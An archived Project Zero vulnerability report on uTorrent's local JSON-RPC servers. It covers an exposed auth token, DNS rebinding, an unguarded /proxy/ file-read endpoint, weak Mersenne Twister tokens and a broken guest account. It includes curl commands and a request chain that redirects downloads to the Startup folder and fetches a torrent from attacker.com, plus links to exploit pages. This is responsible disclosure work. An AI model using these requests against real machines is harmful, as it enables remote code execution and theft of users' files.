

# 1524 - utorrent: various JSON-RPC issues resulting in remote code execution, information disclosure, etc. - project-zero

**1524 - utorrent: various JSON-RPC issues resulting in remote code execution, information disclosure, etc. - project-zero** - tavis0, bugs.chromium.org.

- Published: date not stated
- Original: <<https://bugs.chromium.org/p/project-zero/issues/detail?id=1524>>
- Preserved from: <https://bugs.chromium.org/p/project-zero/issues/detail?id=1524> (stored) on 2026-10-02
- Capture timestamp: 20181112071200
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

## Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

1524 - utorrent: various JSON-RPC issues resulting in remote code execution, information disclosure, etc. - project-zero - Monorail

| [Monorail](#) | [Project: project-zero](#) ▼ [Issues](#) [People](#) [Development process](#) [History](#) | [Sign in](#) | | [New issue](#) [Search](#) Search within: [All issues](#) [Open issues](#) [New issues](#) [Issues to verify](#) for [Advanced search](#) [Search tips](#)

|

## Issue metadata

| Status: | Accepted | | | Owner: |

[tavis0@google.com](mailto:tavis0@google.com)

| | | Cc: |

[tavis0@google.com](mailto:tavis0@google.com)

[project-...@google.com](mailto:project-...@google.com)

- | |

|

**Deadline-90**

**Finder**-tavisio

**Severity**-Critical

CCProjectZeroMembers

**Restrict**-AddIssueComment-EditIssue

**Product**-utorrent

**Reported**-2017-Nov-27

**Vendor**-utorrent

||

- Only users with EditIssue permission may comment.

Show other hotlists

**Hotlists containing this issue:** [Hotlist-1](#) [Hotlist-1](#) [Hotlist-2](#)

[Sign in](#) to add a comment

|||

**Issue description**

[merging utorrent issues into one bug]

By **default**, utorrent create an HTTP RPC server on port **10000** (uTorrent classic) or **19575** (uTorrent web). There are numerous problems with these RPC servers that can be exploited by any website **using** XMLHttpRequest(). To be clear, visiting *\*any\** website is enough to compromise these applications.

```
uTorrent web ([http://web.utorrent.com](http://web.utorrent.com))
```

=====

As the name suggests, uTorrent Web uses a web **interface** and is controlled by a browser as opposed to the desktop application. By **default**, uTorrent web is configured to startup with Windows, so will always be running and accessible. **For** authentication, a random token is generated and stored in a configuration file which must be passed as a URL parameter with all requests. When you click the uTorrent tray icon, a browser window is opened with the authentication token populated, it looks like **this**:

```
http://127.0.0.1:19575/gui/index.html?localauth=localapic3cfe21229a80938:
```

**While** not a particularly strong secret (8 bytes of std::random\_device), it at least would make remote attacks non-trivial. Unfortunately however, the authentication secret is stored inside the webroot (wtf!?!?!?!), so you can just fetch the secret and gain complete control of the service.

```
$ curl -si [http://localhost:19575/users.conf](http://localhost:19575/users.conf)
```

```
HTTP/1.1 200 OK
```

```
Date: Wed, 31 Jan 2018 19:46:44 GMT
```

```
Last-Modified: Wed, 31 Jan 2018 19:37:50 GMT
```

```
Etag: "5a721b0e.92"
```

```
Content-Type: text/plain
```

```
Content-Length: 92
```

```
Connection: close
```

```
Accept-Ranges: bytes
```

```
localapi29c802274dc61fb4          [bc676961df0f684b13adae450a57a91cd3d92c03]
```

```
(https://crrev.com/bc676961df0f684b13adae450a57a91cd3d92c03)
```

```
94bc897965398c8a07ff
```

```
2
```

```
1
```

**This** requires some simple dns rebinding to attack remotely, but once you have the secret you can just change the directory torrents are saved to, and then download any file anywhere writable. **For** example:

```
# change the download directory to the Startup folder.
```

```
http://127.0.0.1:19575/gui/?
localauth=token:&action=setsetting&s=dir_active_download&v=C:/Users/All%20Users/Start%20Menu/Programs/Startup
```

# download a torrent containing calc.exe

```
http://127.0.0.1:19575/gui/?localauth=token:&action=add-
url&url=http://attacker.com/calc.exe.torrent
```

I wrote a working exploit **for this** attack, available here:

```
[http://lock.cmpxchg8b.com/Moer0kae.html](http://lock.cmpxchg8b.com/Moer0kae.html)
```

The authentication secret is not the only data accessible within the webroot - settings, crashdumps, logs and other data is also accessible. As **this** is a complete remote compromise of the **default** uTorrent web configuration, I didn't bother looking any further after finding **this**.

```
uTorrent Classic ([https://www.utorrent.com/downloads/win]
(https://www.utorrent.com/downloads/win))
```

```
=====
```

By **default** uTorrent Classic creates a JSON RPC server on port **10000**, it's not clear to me that **this** was intentionally exposed to the web, as many endpoints crash or interfere with the UI. Here are some example actions that websites can take:

```
[http://lock.cmpxchg8b.com/utorrent-crash-test.html](http://lock.cmpxchg8b.com/utorrent-
crash-test.html)
```

Nevertheless, browsing through the available endpoints I noticed that the `/proxy/` handler is enabled and exposed by **default**, and allows any website to enumerate and copy any files you've downloaded. To be clear, any website you visit can read and copy every torrent you've downloaded. **This** works with the **default** configuration.

**This** requires brute forcing the `"sid"` which is a small integer that is incremented once **for** each torrent, **this** can be brute forced in seconds.

e.g.

```
$ curl -sI '[http://localhost:10000/proxy/0/?sid=2&file=0&callback=file]
(http://localhost:10000/proxy/0/?sid=2&file=0&callback=file)'
```

```
HTTP/1.1 200 OK
Content-Type: audio/mpeg
Server: BitTorrentProxy/1.0
Connection: close
```

Accept-Ranges: bytes

ETag: "[8FD54C339FE8B8A418CE2299AF2EADD9B1715D7A]  
(https://crrev.com/8FD54C339FE8B8A418CE2299AF2EADD9B1715D7A)"

file is the index in a multi-file torrent (here there is just one file) and callback is a javascript callback. **This** means any website can find out what you've downloaded, and then just copy it **from** you - all the data.

I made a simple demo, screenshot of how it's **supposed to look attached**. It's really slow, but demonstrates that a website can enumerate and read any data you've downloaded via uTorrent.

[http://lock.cmpxchg8b.com/Ahg8Aesh.html](http://lock.cmpxchg8b.com/Ahg8Aesh.html)

Here is how I reproduced:

- \* On a fresh Windows 7 VM, install utorrent 3.5 (44294). Accept all **default** settings.
- \* File -> Add torrent **from** URL..., enter  
[https://archive.org/download/SKODA0CTAVIA336x280/SKODA0CTAVIA336x280\_archive.torrent]  
(https://archive.org/download/SKODA0CTAVIA336x280/SKODA0CTAVIA336x280\_archive.torrent)
- \* When the torrent is finished (it's only about 5MB), visit **this** URL in Chrome:  
[http://lock.cmpxchg8b.com/Ahg8Aesh.html](http://lock.cmpxchg8b.com/Ahg8Aesh.html)
- \* Click **"Start Attack"**
- \* Wait a few minutes.

The page should have figured out the size and file type, and gives an option to steal the files. See screenshot attached.

-----

The utorrent binary disables ASLR and /GS. **This** is a really bad idea. (Note that the binary is UPX packed, but **this** doesn't change any security properties).

-----

I noticed that utorrent is **using** unmodified mersenne twister to generate authentication tokens and cookies, session identifiers, pairing keys, and so on. The PRNG is seeded with GetProcessId(), GetTickCount() etc. That is already not great quality seed data, but mersenne twister makes no guarantees that someone who can view sample output can't reconstruct the state of the PRNG.

**This** is actually one of the FAQs on the mersenne twister site:

[http://www.math.sci.hiroshima-u.ac.jp/~m-mat/MT/efaq.html]

(<http://www.math.sci.hiroshima-u.ac.jp/~m-mat/MT/efaq.html>)

**This** allows anyone to reconstruct things like pairing keys, webui session cookies, etc, etc. You can sample unlimited png output, so **this** is a serious design flaw.

-----

**Finally**, a minor issue - the documentation **for** the "guest" account feature says many actions are disabled **for** security, but I tested it and that it plain isn't **true**:

```
$ curl -si 'http://guest@localhost:10000/gui/?action=getsettings&callback=error&btapp='
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 16572
Content-Type: text/javascript
Set-Cookie: GUID=6yY1pkIHHMvvHo8tg0Yu; path=/
Cache-Control: no-cache
```

```
{"build":44090,"settings": [
["install_modification_time",0,"0",{"access":"Y"}]
...
}
```

Perhaps **this** got broken at some point, but **this** feature is web-accessible, so **this** should probably be fixed (or suitable warnings added). I can't imagine many users enabled **this**, but those that did probably expected the security boundaries described in the documentation to be enforced.

**\*\*This** bug is subject to a 90 day disclosure deadline. After 90 days elapse\*\*  
\*\*or a patch has been made broadly available, the bug report will become\*\*  
\*\*visible to the **public**.\*\*

| [  ]([https://bugs.chromium.org/p/project-zero/issues/attachment?aid=322606&signed\\_aid=-jQsvQobhW-nP8dg9gf-lg==](https://bugs.chromium.org/p/project-zero/issues/attachment?aid=322606&signed_aid=-jQsvQobhW-nP8dg9gf-lg==)) | Deleted: **Windows 7-2017-12-04-16-36-51.png** 119 KB | |

| [  ]([https://bugs.chromium.org/p/project-zero/issues/attachment?aid=322606&signed\\_aid=-jQsvQobhW-nP8dg9gf-lg==](https://bugs.chromium.org/p/project-zero/issues/attachment?aid=322606&signed_aid=-jQsvQobhW-nP8dg9gf-lg==)) | **Windows 7-2017-12-04-16-36-51.png** 119 KB [View Download](#) | | [  ] ([https://bugs.chromium.org/p/project-zero/issues/attachment?aid=322606&signed\\_aid=-jQsvQobhW-nP8dg9gf-lg==&inline=1](https://bugs.chromium.org/p/project-zero/issues/attachment?aid=322606&signed_aid=-jQsvQobhW-nP8dg9gf-lg==&inline=1)) | |

| [  ]([https://bugs.chromium.org/p/project-zero/issues/attachment?aid=322607&signed\\_aid=crAtgi09AMCR3i85cntAEw==](https://bugs.chromium.org/p/project-zero/issues/attachment?aid=322607&signed_aid=crAtgi09AMCR3i85cntAEw==)) | Deleted: **Windows 7-2018-01-31-12-19-19.png** 77.2 KB | |

| [ [image: image] ]([https://bugs.chromium.org/p/project-zero/issues/attachment?aid=322607&signed\\_aid=crAtgi09AMCR3i85cntAEw==](https://bugs.chromium.org/p/project-zero/issues/attachment?aid=322607&signed_aid=crAtgi09AMCR3i85cntAEw==)) | **Windows 7-2018-01-31-12-19-19.png** 77.2 KB [View Download](#) | | | [ [image: image] ]([https://bugs.chromium.org/p/project-zero/issues/attachment?aid=322607&signed\\_aid=crAtgi09AMCR3i85cntAEw==&inline=1](https://bugs.chromium.org/p/project-zero/issues/attachment?aid=322607&signed_aid=crAtgi09AMCR3i85cntAEw==&inline=1)) | |  
| | | |

---

Archived from <https://bugs.chromium.org/p/project-zero/issues/detail?id=1524>. Rendered offline from the local Markdown copy.